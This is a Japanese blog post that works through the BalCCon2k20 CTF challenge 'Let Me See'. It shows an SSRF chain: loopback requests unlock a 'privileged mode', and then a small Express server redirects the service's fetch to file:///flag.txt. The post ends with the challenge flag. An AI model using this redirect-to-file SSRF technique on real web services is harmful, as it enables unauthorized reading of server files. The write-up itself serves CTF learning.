はまやんはまやんはまやん

hamayanhamayan's blog

Let Me See [BalCCon2k20 CTF]

Let Me See
oioki
This service lets you see the source code of your website:
https://let-me-see.pwn.institute

ソースコードを見てみる

/flag.txtを見ればいいようだ。
アクセスするとWrong way.と出る。
https://let-me-see.pwn.institute/flag.txtを試しに最初の画面で指定してみると、Sorry, only http:// is supported.となる。
指示通りにhttpにしてみる。 http://let-me-see.pwn.institute/flag.txt

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.19.2</center>
</body>
</html>

んー、301なの?httpは完全に廃止してhttpsにしましたよってこと?
nginxのバージョンも最新評価版だから、問題ない。
うーん?

Writeup

んー、途中までは行けそうだけれど、他のサイトからfileスキームを呼び出す発想が出てくるかな…

SSRF

localhostを入れると微妙に挙動が変わる。
http://localhost/flag.txt -> Wrong way.

もうちょっと実験してみる。
http://127.0.0.1/とすると、Your IP address is 127.0.0.1. PRIVILEGED MODE ENABLED.となる。
元の画面になっているので、再帰的にリクエストを投げてみる。

http://127.0.0.1/?url=http%3A%2F%2F127.0.0.1%2Fflag.txt
これはどうだ。
Wrong way.

httpスキームしか使えないが、次はどうする?

リダイレクトを使う

色々試すと、Priviledge Modeの意味が分かってくる。
前はlocalhostしか使えなかったが、今の状態ではどんなホストでも使用可能となっている。
なのでアクセス先でfileスキームをリダイレクトさせて、fileスキームでSSRFを発火させる。

適当にrepl.itでリダイレクトを作る。

const express = require('express');
const app = express();

app.get('*', (req, res) => {
  res.redirect('file:///flag.txt');
});

app.listen(3000, () => {
  console.log('server started');
});

http://127.0.0.1/?url=[url-encoded url]でフラグゲット。
BCTF{tricky_curl_redirect_to_file_protocol}